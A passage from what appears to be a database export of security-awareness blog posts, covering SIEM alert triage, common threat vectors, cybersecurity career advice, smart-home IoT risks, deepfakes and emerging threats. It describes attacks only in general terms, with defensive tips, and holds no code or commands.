SIEM Alerts\n\nManaging SIEM alerts is like trying to sip from a firehose; you need a strategy to get the good out of it without being drowned by excessive information. Here’s how you can effectively manage and prioritize alerts:\n\n1. **Categorize Alerts by Severity**\n   - Divide alerts into categories such as critical, high, medium, and low based on the level of potential risk.\n   - For example, failed login attempts might be \"low priority\" unless they are widespread, while detected ransomware is \"critical.\"\n\nBy understanding and categorizing alerts effectively, security teams can focus on the most significant threats and ensure timely responses to protect their organizations.', '', 'http://infoseclabs.io/uploads/1767501764296-302552087.png', NULL, 1, 'published', '2026-01-06 07:43:00', '2026-01-06 16:10:10', 'Information Security', 'Top SIEM Alerts Organizations Face', 'Discover common SIEM alerts, their impact, and strategies to manage them effectively for enhanced cybersecurity.', 'SIEM alerts'),
(12, 'How Cyber Threats Infiltrate: Insight into Digital Security Risks', 'how-cyber-threats-infiltrate-insight-into-digital-security-risks', '# Navigating the Digital Threat Landscape\n\nThe digital world is buzzing with activity. Everywhere we go, invisible connections through Wi-Fi, Bluetooth, and other technologies surround us. However, lurking within that mix are sneaky cyber threats waiting for an opportunity to strike. Understanding how hackers exploit vulnerabilities in our digital lives is key to staying ahead of them.\n\nThis blog dives into common threat vectors and attack surfaces, breaking down how cyber threats operate and, more importantly, how you can protect yourself.\n\n## The Sneaky World of Threat Vectors\n\n### Messages as a Gateway\n\nMessages might seem harmless, but they can open doors for hackers. Emails, for example, are one of the oldest and most common ways attackers exploit our trust in digital communication.\n\n- **Phishing** works by tricking users into clicking malicious links or sharing sensitive information, often by imitating trusted sources like banks or tax authorities.\n- **Smishing** is the SMS version of phishing, where attackers send texts posing as delivery companies or other trusted entities, aiming to con you into revealing private details or downloading malware.\n- Even **instant messaging apps** with better security measures like end-to-end encryption aren\'t immune. Hackers may use infected files or social engineering tactics to compromise users.\n\n### Images Aren’t Always Innocent\n\nThink that image file is harmless? Think again. Hackers embed malicious code into image files, turning them into digital Trojan horses. Once opened, these files can trigger harmful actions like releasing ransomware or stealing your data.\n\n### Files Are Dangerous When Tampered With\n\nEvery file exchanged online, from documents to spreadsheets, could potentially carry malicious software. When you open an infected file, attackers can exploit weaknesses in your device to steal data, take over your system, or launch other forms of attack.\n\n### Voice Calls Can Be a Threat\n\nPhones haven\'t escaped the reach of cybercriminals. **Vishing** (voice phishing) tricks unsuspecting individuals by using caller ID spoofing to look like legitimate entities, such as your bank. Through convincing conversations, attackers aim to extract sensitive details like passwords or financial data.\n\n### Your USB Could Be a Trap\n\nUSB drives might seem innocuous, but they can act as digital landmines. Plugging in a tampered USB stick can spread malware to your system. Sometimes, hackers leave infected drives in public places, counting on curiosity to do the rest.\n\n## Vulnerable Software: An Open Invitation for Hackers\n\nOld or unpatched software is like having holes in the walls of your digital fortress. Vulnerabilities in software—from coding errors to outdated versions without security updates—can be exploited, enabling attackers to breach systems and steal sensitive data.\n\nOrganizations must regularly manage updates and patches to seal these vulnerabilities. Tools like **vulnerability scanners** proactively identify and address these gaps before hackers can exploit them.\n\n### Agent-Based vs. Agentless Scanning\n\n- **Agent-Based Scanning** installs software on devices to detect vulnerabilities and report them back to a central server.\n- **Agentless Scanning** requires no software installation but uses tools like Nmap and Wireshark to remotely scan systems.\n\nHackers often favor agentless methods for reconnaissance since they leave no traces, underscoring the need for organizations to scan their systems first.\n\n## Key Takeaways to Stay Secure\n\nUnderstanding how hackers exploit vulnerabilities allows you to stay vigilant and build strong defenses. Here are some tips to protect yourself online:\n\n- Always verify messages before clicking links or sharing information.\n- Use security software to detect hidden malicious code in files and images.\n- Keep all software up-to-date to patch vulnerabilities.\n- Never plug in USB drives you find in public places.\n- Be cautious of phone calls from unverified sources, even if they appear familiar.\n\nCybercriminals are constantly evolving their tactics, but with proactive measures, you can safeguard your digital life from their threats.', '', 'http://infoseclabs.io/uploads/1767560795113-590336718.png', NULL, 1, 'published', '2026-01-04 16:06:00', '2026-01-05 00:07:33', 'Information Security', 'How Cyber Threats Infiltrate Digital Security', 'Explore how cyber threats operate and learn strategies to protect yourself from digital security risks.', 'Cyber Threats'),
(13, 'Breaking Into Cybersecurity: A Realistic Guide for Aspiring Professionals', 'breaking-into-cybersecurity-a-realistic-guide-for-aspiring-professionals', '# Breaking into Cybersecurity: A Realistic Guide\n\nEntering the field of cybersecurity is one of the most exciting career paths in technology, but it’s not without its challenges. Many aspiring professionals start with the misconception that simply studying cybersecurity concepts, watching tutorials, or earning certificates will guarantee them a high-paying job in just a few months. While some may stumble upon opportunities, for most, the reality is far more demanding. This blog post will break down the common missteps and guide you on how to effectively pave your way into the cybersecurity world.\n\n## The Problem with \"Study-Only\" Approaches\n\nOne of the biggest mistakes beginners make is focusing solely on learning concepts from college courses, books, or tutorials without applying them. Memorizing cybersecurity principles may give you a theoretical understanding, but it doesn’t equate to the hands-on experience that employers are looking for.\n\nThis phenomenon can leave you in what’s called \"learning purgatory.\" You might know all the right terminology and theories, but you’ll stumble when it’s time to apply your knowledge in a real-world scenario.\n\n**Reality check:** To stand out in interviews and secure your first cybersecurity role, you must demonstrate practical, hands-on experience. Employers want to see proof that you can not only explain cybersecurity concepts but also implement and troubleshoot them in real scenarios.\n\n## The Misleading Perception of \"Easy Tech Jobs\"\n\nWe\'ve all seen videos that glamorize tech jobs, making it seem like professionals spend their days sipping coffee, playing video games, and working out between 10-minute meetings. While entertaining, these portrayals create a false perception that tech jobs, including cybersecurity, are effortless to attain and maintain.\n\nTrue cybersecurity work involves rolling up your sleeves and getting your hands dirty with problem-solving, configuring systems, and handling unexpected errors. The path to landing a well-paying cybersecurity role is challenging and requires resilience, patience, and consistent effort.\n\n## Two Big Challenges to Overcome\n\nAnyone aspiring to break into cybersecurity faces two major hurdles:\n\n1. **Landing interviews.**\n2. **Securing the actual job after interviews.**\n\nThese are two entirely different challenges, each requiring a tailored approach. For interviews, you need to showcase a blend of knowledge and practical expertise. For the role itself, you must demonstrate your readiness to tackle real-world cybersecurity challenges.\n\n## How to Learn Cybersecurity the Right Way\n\nHere’s what sets successful cybersecurity professionals apart from those stuck in \"learning purgatory\":\n\n### 1. Focus on Practical, Hands-On Experience\n\nLearning about concepts like reverse shells is good. However, the true value lies in implementing these concepts:\n\n- Set up a lab environment at home with a server and endpoints.\n- Simulate real attacks and defense mechanisms, such as detecting reverse shells.\n- Deploy tools like a SIEM (Security Information and Event Management system) to learn how to monitor and defend against threats.\n\nThe more you work hands-on, the more these experiences will become ingrained, making them easier to recall during an interview or on the job.\n\n### 2. Start Small and Build Gradually\n\nYou don’t need to master complex tools like a SIEM or curate detection rules for your first entry-level cybersecurity job. Start small:\n\n- Learn the fundamentals of networking and cybersecurity basics.\n- Apply what you learn with simple projects, like setting up a basic firewall or analyzing traffic logs.\n- Gradually take on more challenging projects as your skills improve.\n\n### 3. Learn Through Troubleshooting\n\nMistakes are where the real learning happens. When setting up tools or environments, you’ll inevitably encounter errors. Instead of getting frustrated, use these moments to learn:\n\n- Debugging errors will teach you valuable lessons about system interaction.\n- Documentation and reading forums like Stack Overflow will become second nature.\n\n### 4. Understand the Value of Repetition\n\nRepetition is vital for mastering cybersecurity skills. If you’re learning about reverse shells, practice setting them up repeatedly until you could do it in your sleep. This kind of muscle memory will help you stand out in interviews and on the job.\n\n### 5. Utilize Learning Platforms\n\nToday, you have access to an abundance of affordable and comprehensive learning platforms:\n\n- **TryHackMe**\n- **Hack The Box**\n- **Key cyber labs**\n\nUse these platforms to perform practical exercises, submit findings, and gain experience in simulated environments.\n\n### 6. Be Persistent\n\nBreaking into cybersecurity takes more time and effort than many expect. Prepare to apply for numerous jobs, undergo multiple interview rounds, and continually build your skills. Persistence is key.\n\n## Hands-On Cybersecurity Examples\n\nTo put this into perspective, here’s a practical project you can work on:\n\n- **Reverse Shells:** Learn how attackers use reverse shells to execute code remotely.\n  - Set up an attack server and a victim machine.\n  - Simulate a reverse shell attack in your lab.\n  - Create detection rules for the reverse shell in your SIEM and test their effectiveness.\n\nThis project, while challenging, will give you unparalleled insights into how attacks work and what defenders need to do to stop them. Projects like these also provide valuable talking points for interviews.\n\n## The Importance of Realistic Expectations\n\nIt’s important to acknowledge that cybersecurity is not an easy field to break into, but it’s far from impossible. It requires:\n\n- Time\n- Consistent effort\n- Real-world, hands-on experience\n\nThere’s no shortcut or three-month boot camp that will magically land you a six-figure cybersecurity role. The candidates who stand out are the ones who actively apply what they learn, build on their skills, and remain patient in their job search.\n\n## Final Words of Advice\n\nIf you’re serious about a career in cybersecurity, here’s your priority list:\n\n1. Stop consuming endless videos and focus on practical work.\n2. Build projects, test exploits, and document your findings.\n3. Apply for jobs with a portfolio that demonstrates your skills.\n4. Be resilient, patient, and committed to learning.', '', 'http://infoseclabs.io/uploads/1767564505851-906926040.jpg', 'Aspiring cybersecurity professional learning from practical experience', 1, 'published', '2026-01-04 17:08:00', '2026-01-05 01:08:41', 'Information Security', 'Guide: Break into Cybersecurity Successfully', 'Discover realistic steps to enter cybersecurity, overcome challenges, and gain practical experience.', 'Cybersecurity career'),
(14, 'The Rise of Smart Homes: Convenience Meets Security Concerns', 'the-rise-of-smart-homes-convenience-meets-security-concerns', '# The Reality of Smart Home Security\n\nSmart homes are no longer a futuristic dream; they are now a part of everyday life. From smart thermostats and security cameras to voice assistants and lights you can control with your phone, the Internet of Things (IoT) has redefined how we live. It allows us to experience unprecedented convenience, energy efficiency, and connectivity within our homes.\n\nBut with this new convenience comes a growing question that tech enthusiasts and security-conscious consumers alike are grappling with: **Are smart homes truly safe?** IoT devices, while innovative, have inherent vulnerabilities that can expose your personal life to hackers and cybercriminals.\n\nThis post dives into the often-overlooked risks of IoT security, real-world examples of breaches, expert insights, and actionable steps to keep your smart home safe. By the end, you will have a clear understanding of the challenges and proactive measures needed to make your smart home smarter _and_ safer.\n\n## Understanding IoT Security Risks\n\nIoT devices, at their core, are compact computers linked through networks. These devices communicate data across the web, enabling seamless smart home automation. However, this connectivity is also their Achilles\' heel, making IoT devices prime targets for cyberattacks.\n\nHere are the most common vulnerabilities you should know about:\n\n### 1. Weak Passwords\n\nMany IoT devices come with factory-set passwords that are either easy to guess (e.g., \"admin\" or \"password123\") or shared across multiple devices. If left unchanged, these passwords act as an open invitation for hackers.\n\n### 2. Unencrypted Communication\n\nNot all IoT devices encrypt their data during transmission. This means sensitive information, like login credentials or video footage, could be intercepted by skilled attackers when communicated over networks.\n\n### 3. Lack of Software Updates\n\nIoT manufacturers often rush devices to market without a robust plan for updates. Without regular software patches, these devices remain vulnerable to emerging threats. A 2020 survey by Symantec showed that over 60% of IoT devices run outdated or insecure firmware.\n\n### 4. Universal Plug and Play (UPnP)\n\nWhile UPnP facilitates device interconnectivity, it can make devices visible to the internet, leaving them susceptible to unauthorized access. Think of it as leaving your front door unintentionally unlocked.\n\n### 5. Network Weaknesses\n\nIoT devices often operate over shared home networks. When attackers gain unauthorized access to one device, they can quickly move laterally into other connected devices, creating a domino effect.\n\n## Real-World Examples\n\nHistory has shown that these vulnerabilities are not just theoretical concerns; they\'ve been exploited in real and alarming ways.\n\n### 1. The Mirai Botnet Attack\n\nThe 2016 Mirai botnet infected insecure IoT devices like security cameras and baby monitors, assembling them into a massive botnet that launched one of the largest distributed denial-of-service (DDoS) attacks in history. It disrupted major websites like Twitter, Netflix, and PayPal.\n\n### 2. Hacking Smart Thermostats\n\nHackers have demonstrated their ability to take control of smart thermostats, as was publicly shown at the DEF CON cybersecurity conference in 2018. A compromised thermostat could not only disrupt comfort but even result in extreme energy costs.\n\n### 3. Unauthorized Surveillance\n\nSeveral cases have emerged where hackers gained access to smart home security cameras, spying on unsuspecting users. Perhaps one of the most harrowing incidents involved attackers who lashed out verbally at homeowners through hacked smart cameras like those by Ring.\n\n### 4. Stolen Data Logs\n\nVoice assistants that capture recordings of your conversations have been hacked, leading to unauthorized access to sensitive personal data. The Telesploit attack, for instance, proved that attackers could easily exploit Amazon Echo setups using Wi-Fi vulnerabilities.\n\nThese examples highlight the potential for IoT misuse, turning \"convenience\" into a threat.\n\n## Expert Opinions on IoT Security\n\nTo unpack the issue, we asked cybersecurity professionals for their insights on IoT safety. Here\'s what they had to say.\n\n### Dr. Emily Crane, Cybersecurity Researcher\n\n_\"IoT devices are often built faster than they\'re secured. Developers should design security into the software, but users also play a critical role by configuring their devices properly and updating them regularly.\"_\n\n### Mike Liu, Ethical Hacker\n\n_\"Most attacks are preventable with basic measures like strong passwords and segregated networks. However, we can\'t ignore the manufacturer\'s responsibility to ensure devices come with better encryption protocols and auto-update features.\"_\n\n### Jennifer Alvarez, Head of IoT Security at SecureShield\n\n_\"The IoT revolution is exciting but comes with an inherent trade-off between convenience and security. The only question is whether users and manufacturers will take the necessary steps to minimize risk before it\'s too late.\"_\n\n## Practical Security Measures\n\nThe good news is that securing your smart home is entirely attainable with the right steps. Here’s a practical checklist to make your IoT setup safer.\n\n### 1. Change Default Passwords\n\nImmediately replace factory-set passwords with strong, unique ones. A mix of uppercase letters, numbers, and special characters is ideal.\n\n### 2. Enable Two-Factor Authentication (2FA)\n\nWhenever possible, enable 2FA for an additional layer of protection beyond your password.\n\n### 3. Keep Your Firmware Updated\n\nRegularly check for and install updates on all IoT devices. If your device lacks update support, consider replacing it with one that does.\n\n### 4. Use a Separate Network for IoT Devices\n\nCreate a guest Wi-Fi network exclusively for your smart devices. Separating them from your primary network could limit exposure if one device gets hacked.\n\n### 5. Disable Unnecessary Features\n\nTurn off features like Universal Plug and Play (UPnP) unless absolutely necessary.\n\n### 6. Encrypt Your Network and Devices\n\nEnsure your Wi-Fi network is encrypted using WPA3 (or at least WPA2) protocols. Additionally, enable encryption on any device that allows it.\n\n## The Future of IoT Security\n\nIoT security is evolving, making it both exciting and daunting. Here’s what the future holds for the industry.\n\n### 1. AI-Driven Security\n\nArtificial intelligence is being integrated into IoT devices to detect and mitigate threats automatically. Smart threat detection services powered by AI algorithms could revolutionize end-user security.\n\n### 2. Standardization Efforts\n\nRegulators are stepping in to push for standard IoT security frameworks, ensuring comprehensive protections for consumers.\n\n### 3. Blockchain for IoT\n\nBlockchain technology may offer decentralized, tamper-proof security for IoT devices, reducing vulnerabilities in data transmission.\n\n### 4. 5G and Beyond\n\nWhile 5G speeds will supercharge IoT functionality, they will also open the gates for more complex cyberattacks. IoT security will need to evolve in tandem with connectivity upgrades.', '', 'http://infoseclabs.io/uploads/1767565053972-660878437.jpg', 'A modern smart home setup with connected IoT devices', 1, 'published', '2026-01-04 01:09:00', '2026-01-05 01:17:36', 'Information Security', 'Smart Homes: Convenience vs. Security Risks', 'Explore smart home security challenges and learn steps to protect your IoT devices from cyber threats.', 'Smart Home Security'),
(15, 'Deepfakes and Cybersecurity Risks: What You Need to Know', 'deepfakes-and-cybersecurity-risks-what-you-need-to-know', '# The Growing Threat of Deepfakes in Cybersecurity\n\nWith AI rapidly evolving, deepfakes have transformed from simple internet curiosities into significant cybersecurity threats. Their ability to forge realistic audio and video content puts individuals, organizations, and even governments at risk. But how do these AI-generated movies of deception actually work, what dangers do they pose, and most importantly, how can we fight back?\n\nThis article explores the intersection of deepfakes and cybersecurity, real-world examples of attacks, how they bypass security systems, and the tools and strategies experts recommend to detect and prevent them.\n\n## What Are Deepfakes?\n\nDeepfakes are AI-generated media that convincingly mimic real people\'s voices, faces, or behaviors. Created using **deep learning algorithms** like _generative adversarial networks (GANs)_, these forgeries can produce fake videos, audio, and even live streams that are almost indistinguishable from authentic recordings.\n\nFor instance, imagine a video where a high-profile CEO appears to announce false financial data, or a phone call where the \"voice\" of your manager requests an urgent wire transfer. These aren\'t hypothetical anymore; such deepfake attacks are happening now.\n\nWhile deepfakes can be used creatively—for entertainment, art, and training simulations—they pose significant risks when exploited maliciously.\n\n## Deepfakes and Cybersecurity: Understanding the Risks\n\nDeepfakes are no longer just tools for pranks or misinformation; they’re now a weapon in the arsenal of cybercriminals. Here’s why they’re such a growing concern in cybersecurity:\n\n### 1. Identity Fraud and Personal Risks\n\nDeepfakes can be used to impersonate individuals for phishing scams, such as creating fabricated videos of someone requesting sensitive corporate data. Worse, personal embarrassment and reputational harm caused by fake videos have been weaponized in cases like political defamation or revenge porn.\n\n### 2. Corporate Espionage\n\nCybercriminals can use deepfakes to impersonate executives or employees in video conferences to steal business secrets, authorize financial actions, or manipulate decisions.\n\n### 3. Disinformation Campaigns\n\nDeepfakes can influence public opinion by spreading disinformation during elections, protests, or corporate crises. This magnifies their potential as a tool for political or social manipulation.\n\n### 4. Eroding Trust\n\nWith deepfake technology becoming more sophisticated, it’s harder to distinguish truth from fiction. This \"truth decay\" affects trust in communications, digital evidence, and even democracy.\n\n## Real-World Examples of Deepfake Cyberattacks\n\nUnderstanding how deepfakes are exploited in real scenarios helps us better anticipate and address these risks. Here are five notable cases, along with measures that could mitigate similar attacks in the future:\n\n### 1. Deepfake Voice Scam on a UK CEO\n\nCybercriminals used AI-generated audio to mimic the voice of the CEO\'s boss, requesting a €220,000 transfer to a \"supplier.\" The attack was successful.\n\n**Preventative Measure**: Two-factor authentication and requiring written confirmation for financial transactions could have stopped this scam.\n\n### 2. Elon Musk-Deepfake Cryptocurrency Fraud\n\nDeepfakes of Elon Musk have been used in fabricated videos promoting fraudulent cryptocurrency schemes, tricking users into investing.\n\n**Preventative Measure**: Educating users about phishing red flags and introducing real-time deepfake detection tools can safeguard against such schemes.\n\n### 3. Deepfake Videos in Indian Elections\n\nDeepfake videos of political leaders were used to spread false campaign messages to promote divisive misinformation.\n\n**Preventative Measure**: Strengthening media literacy campaigns and fact-checking initiatives can help fight disinformation in politically charged contexts.\n\n### 4. Manipulated Security Footage\n\nDeepfake-altered surveillance footage was once demonstrated as a proof-of-concept to frame someone for crimes they didn’t commit, though thankfully not used in real trials.\n\n**Preventative Measure**: Blockchain systems verify authenticity by timestamping video metadata, making it tamper-proof.\n\n### 5. Social Media Exploitation\n\nCybercriminals have used doctored live streams to request donations or funds intended for fake causes.\n\n**Preventative Measure**: AI tools like ClearView or social media verification systems can be used to validate livestream sources.\n\n## Technical Analysis: How Deepfakes Bypass Security Measures\n\nDeepfakes rely on advanced neural networks that learn to mimic real-world data. Here’s why they can bypass traditional security defenses.\n\n### 1. Advanced AI Algorithms\n\nDeepfakes use _Generative Adversarial Networks (GANs)_ where one AI model generates fake content and another AI model evaluates its realism. This iterative process results in increasingly lifelike forgeries that fool both humans and AI detection models.\n\n### 2. Spoofing Techniques in Biometrics\n\nDeepfakes can deceive biometric authentication systems, such as facial recognition and voice verification, by providing high-definition, AI-generated replicas.\n\n### 3. Weak Detection Software\n\nMuch of the world’s current security software is optimized for older forms of attacks (e.g., ransomware). They lack the sophistication needed to detect dynamic or subtle anomalies in video/audio files generated by deepfake technology.\n\n## Prevention and Detection: Tools and Strategies\n\nStaying ahead of deepfake threats requires proactive strategies and cutting-edge tools. Here’s what cybersecurity professionals recommend:\n\n### 1. Use Deepfake Detection Tools\n\nAI-powered detection tools like Sensity.ai, Deepware Scanner, and Microsoft’s Video Authenticator analyze videos and audio for signs of manipulation.\n\n### 2. Enhanced Biometric Authentication\n\nImplement multi-modal biometric verification, combining face, voice, behavior, and iris detection for secure confirmation.\n\n### 3. Blockchain for Media Authentication\n\nUse blockchain to track the provenance of digital media files, including timestamps and metadata verification. Companies like Truepic are paving the way for secure media authentication.\n\n### 4. Training and Awareness\n\nEducate employees and individuals on recognizing potential deepfake scams and phishing attempts. Awareness remains one of the most important defenses.\n\n### 5. Regulatory Frameworks and Collaboration\n\nAdvocate for tighter regulations surrounding the use and creation of AI-generated content. Governments, tech firms, and cybersecurity agencies must work collectively to combat deepfake misuse.\n\n## The Future of Deepfakes and Cybersecurity\n\nDeepfake technology will only continue to evolve, offering even more realistic forgeries in the years to come. But with new defensive innovations also emerging, professionals in cybersecurity, policy-making, and tech industries still have an opportunity to minimize harm.\n\nFor instance, advancements in real-time detection algorithms and ethical AI standards may reduce their potential applications in cybercrime. Massive investments in media verification technologies are also gearing up to seal vulnerabilities.\n\n## Staying Ahead of the Curve\n\nThe risks posed by deepfakes to cybersecurity are real and growing. However, by staying informed, investing in preventative measures, and relying on innovative detection tools, individuals and organizations can counteract these threats effectively.\n\nAt the heart of cybersecurity is a principle that has always been true: education and preparation go hand-in-hand.', '', 'http://infoseclabs.io/uploads/1767564733348-245296497.jpeg', 'Illustration of deepfake technology impacting cybersecurity with video manipulation', 1, 'published', '2026-01-04 09:12:00', '2026-01-05 01:12:33', 'Information Security', 'Deepfakes: A New Cybersecurity Threat', 'Explore how deepfakes pose cybersecurity risks and learn strategies to combat these AI threats.', 'Deepfakes'),
(16, 'Exploring the Future of Cybersecurity: Emerging Threats and Tech Innovations', 'exploring-the-future-of-cybersecurity-emerging-threats-and-tech-innovations', '# The Future of Cybersecurity: Emerging Threats and Technological Advancements\n\nThe cybersecurity landscape is evolving faster than ever before, fueled by rapid technological advancements and an expanding digital footprint. From data breaches targeting small businesses to sophisticated state-sponsored attacks, the need for robust cybersecurity has never been greater. But what does the future hold for cybersecurity? This blog dives deep into emerging threats, groundbreaking technologies, and the skills required to combat cybercrime in the years ahead.\n\n## The Current State of Cybersecurity\n\nCybersecurity has become a top priority for businesses, governments, and individuals worldwide. A report by IBM Security reveals that the average cost of a data breach in 2023 reached $4.45 million, underscoring the financial and reputational damage caused by cyberattacks.\n\nThe challenges, however, are multifaceted. Ransomware attacks have surged, phishing campaigns are more sophisticated than ever, and vulnerable Internet of Things (IoT) devices have expanded the attack surface. While organizations are investing heavily in cybersecurity tools, the landscape continues to shift, demanding constant vigilance and innovation to stay ahead.\n\n## Emerging Cybersecurity Threats\n\nThe future of cybersecurity is shaped largely by the threats we face today and those emerging on the horizon. Below are the key threats to watch as we look to the future:\n\n### 1. AI-Powered Cyberattacks\n\nArtificial intelligence has revolutionized several industries, and unfortunately, cybercriminals are no exception. AI can be weaponized to launch more sophisticated and targeted attacks, such as:\n\n- **Deepfake Scams**: AI-generated videos and audio can convincingly impersonate individuals, leading to fraud, corporate espionage, or disinformation campaigns.\n- **Automated Phishing**: AI can create highly personalized phishing emails at scale, making them more convincing and effective.\n- **Adversarial Machine Learning**: Cyberattackers manipulate AI models used in cybersecurity systems, rendering them ineffective.\n\n### 2. IoT Vulnerabilities\n\nThe Internet of Things is set to grow to over **75 billion connected devices by 2025**, according to Statista. While IoT devices bring convenience and efficiency, their lack of robust security measures makes them prime targets for hackers. Attackers can exploit vulnerabilities in smart home devices, medical equipment, and industrial machinery, causing widespread disruptions and even endangering lives.\n\n### 3. Quantum Computing Risks\n\nQuantum computers have the potential to break traditional encryption protocols, threatening the security of sensitive data across industries. Although quantum computing is still in its early stages, experts warn that malicious actors and even nation-states are exploring its potential to outpace current encryption technologies.\n\n### 4. Supply Chain Attacks\n\nCybercriminals are increasingly targeting supply chains as a weak link in organizational defenses. By inserting malicious code into software updates or third-party vendor systems, attackers can gain access to larger networks, impacting multiple organizations simultaneously.\n\n### 5. The Rise of Geopolitical Cyberwarfare\n\nNation-states are engaging in cyberwarfare to disrupt critical infrastructure, steal intellectual property, and manipulate public opinion. These politically motivated attacks could become more frequent and destructive, especially as geopolitical tensions escalate.\n\n## Technological Advancements Shaping the Future\n\nWhile cyber threats proliferate, advancements in technology hold tremendous promise for enhancing cybersecurity. Here are some of the cutting-edge technologies poised to redefine cybersecurity:\n\n### 1. AI in Threat Detection\n\nAI is not just a tool for cybercriminals; it’s also a powerful defense mechanism. Advanced AI algorithms can analyze vast streams of data in real-time to detect anomalies, predict potential attacks, and respond to threats before they can cause damage.\n\nFor example, machine learning-based security systems can identify unusual patterns of behavior, like unauthorized access attempts, and automatically isolate affected systems to prevent breaches.\n\n### 2. Blockchain for Secure Transactions\n\nBlockchain technology, known for powering cryptocurrencies like Bitcoin, is being leveraged for secure data sharing and decentralized authentication. By recording transactions in a tamper-proof ledger, blockchain reduces the risk of data breaches and ensures transparency.\n\nBlockchain is particularly promising for financial institutions, healthcare providers, and supply chain networks that require traceable and secure transactions.\n\n### 3. Zero Trust Architecture\n\nThe \"trust no one\" principle is gaining traction in cybersecurity through Zero Trust Architecture. This approach ensures that every user, device, and application is continuously verified before being granted access, minimizing the risk of insider threats and unauthorized access.\n\n### 4. Biometric Authentication\n\nTraditional passwords are rapidly being replaced by biometric authentication methods such as fingerprint scanning and facial recognition. These systems offer a higher level of security as they are harder to replicate or steal.\n\n### 5. Post-Quantum Cryptography\n\nWith the threat of quantum computing on the horizon, researchers are developing post-quantum cryptography methods to secure sensitive information. These encryption protocols are designed to withstand attacks from quantum computers, ensuring data remains protected in the future.\n\n## Skills and Training for the Cybersecurity Workforce\n\nThe success of future cybersecurity efforts will depend heavily on skilled professionals equipped to address evolving challenges. Here’s how organizations can empower their workforce:\n\n### 1. Prioritize Continuous Learning\n\nThe cybersecurity field is dynamic, and professionals need to stay up-to-date with the latest tools, technologies, and threat landscapes. Certifications like Certified Information Systems Security Professional (CISSP) and Certified Ethical Hacker (CEH) are valuable for keeping skills sharp.\n\n### 2. Develop AI Expertise\n\nUnderstanding how AI operates, including its strengths and vulnerabilities, will be essential for combating AI-driven attacks. Training programs that focus on integrating AI into cybersecurity strategies are critical.\n\n### 3. Promote Ethical Hacking\n\nEthical hackers, or white-hat hackers, play a vital role in identifying vulnerabilities before malicious actors can exploit them. Organizations should invest in ethical hacking programs to bolster their defenses.\n\n### 4. Foster Diversity and Inclusion\n\nA diverse workforce brings fresh perspectives and innovative problem-solving approaches. Encouraging inclusivity in cybersecurity hiring practices enhances the industry\'s capabilities overall.\n\n## Predictions and Recommendations for the Future\n\nCybersecurity will only grow more complex in the coming years. Here are some key predictions and actionable recommendations for businesses and professionals looking to stay ahead:\n\n- **Prediction 1**: AI-based cybersecurity systems will become the industry standard within the next five years.\n  - **Recommendation**: Invest in AI-driven solutions now to future-proof your organization against emerging threats.\n\n- **Prediction 2**: Regulations and compliance requirements will tighten globally.\n  - **Recommendation**: Stay informed about legislation like GDPR and CCPA, and ensure your security frameworks meet compliance standards.\n\n- **Prediction 3**: Cybersecurity insurance will become a necessity.\n  - **Recommendation**: Secure a comprehensive cybersecurity insurance plan to mitigate potential risks and financial losses.', '', 'http://infoseclabs.io/uploads/1767564873422-280949463.jpg', 'Digital lock symbolizing cybersecurity with tech icons', 1, 'published', '2026-01-04 17:14:00', '2026-01-05 01:14:39', 'Information Security', 'Emerging Tech & Its Impact on Cybersecurity', 'Explore how emerging technologies like AI & IoT shape the future of cybersecurity and introduce new threats.', 'Emerging technologies'),
(17, 'Unlocking Cybersecurity: Alternative Career Paths Beyond Pentesting', 'unlocking-cybersecurity-alternative-career-paths-beyond-pentesting', '# Exploring Diverse Careers in Cybersecurity\n\nCybersecurity is often synonymous with penetration testing, or \"pentesting.\" It\'s an exciting career that involves identifying vulnerabilities in systems by attempting to \"hack\" into them before malicious actors do. However, while pentesting grabs the spotlight, the field of cybersecurity is far more diverse than many realize.\n\nIf you\'re an IT professional, a cybersecurity enthusiast, or exploring a career pivot, this guide will introduce you to some rewarding alternative careers in cybersecurity. Whether you\'re looking to escape the competitive pentesting job market or discover a role that better suits your skills, you\'re in for an eye-opening exploration of options.\n\n## Why Look Beyond Pentesting?\n\nPentesting is a well-known cybersecurity role, but its popularity has its downsides. The market for pentesters has become more saturated in recent years, making it harder to break into or advance in the field. Additionally, professionals in this space sometimes report less financial fulfillment than they anticipated.\n\nThe good news? Cybersecurity is an incredibly dynamic field with options that extend far beyond pentesting, offering paths that are equally impactful, lucrative, and in demand.\n\n## Top Alternative Careers in Cybersecurity\n\nHere are some lesser-known roles worth exploring in this exciting industry, complete with insights into their responsibilities, required skills, and career potential.\n\n### 1. Security Engineer\n\n**What They Do:**\n\nSecurity engineers focus on designing, building, and maintaining robust security systems and protocols to protect organizations from cyber threats. Instead of identifying vulnerabilities like pentesters, they proactively build defenses to avert attacks.\n\n**Key Skills:**\n\n- Familiarity with security tools and products.\n- Experience in systems integration and implementation.\n- Problem-solving and troubleshooting expertise.\n\n**Career Opportunities:**\n\nMany security engineers take on roles in pre-sales or post-sales for organizations, helping customers adopt security solutions effectively. With businesses scaling their digital footprints, these professionals are in high demand.\n\n### 2. Security Operations Center (SOC) Analyst\n\n**What They Do:**\n\nSOC analysts monitor an organization\'s network in real-time, watching for suspicious behavior and responding to security incidents. They operate on the front lines of cybersecurity defense, mitigating risks as they arise.\n\n**Progression Levels:**\n\nSOC analysts typically begin at Level 1 (entry-level), where they monitor activity and flag threats. With experience, they can move into Level 2 or Level 3 roles, which involve complex investigations and response strategies.\n\n### 3. Cybersecurity Solution Architect\n\n**What They Do:**\n\nCybersecurity solution architects design high-level frameworks that secure organizational infrastructure. They ensure that systems are scalable and resilient to evolving threats.\n\n**Key Skills:**\n\n- Deep understanding of both cybersecurity and IT infrastructure.\n- Ability to identify risks and proactively mitigate them using effective designs.\n- Proficiency in cybersecurity tools and enterprise systems.\n\nFor those with a knack for strategy and technology, this role offers tremendous growth opportunities.\n\n### 4. Governance, Risk, and Compliance (GRC) Specialist\n\n**What They Do:**\n\nA GRC specialist helps organizations meet regulatory standards, enforce policies, and minimize risks. They often play an advisory role by conducting audits, managing compliance frameworks, and ensuring the organization aligns with laws like GDPR or SOX.\n\n**Why It’s Rewarding:**\n\nCompliance isn’t just about ticking boxes; it’s about building trust, mitigating financial risks, and enabling long-term business success.\n\n### 5. Cybersecurity Auditor\n\n**What They Do:**\n\nCybersecurity auditors evaluate an organization’s security measures, identifying vulnerabilities and providing recommendations to improve. Their work ensures that systems are safe, efficient, and compliant with industry standards.\n\n**Required Skills:**\n\n- Expertise in audit compliance protocols.\n- Strong risk management capabilities.\n- Analytical mindset for identifying gaps in existing security measures.\n\n### 6. Cloud Security Specialist\n\n**What They Do:**\n\nAs more businesses migrate their operations to the cloud, cloud security specialists are tasked with safeguarding sensitive data and securing cloud-based 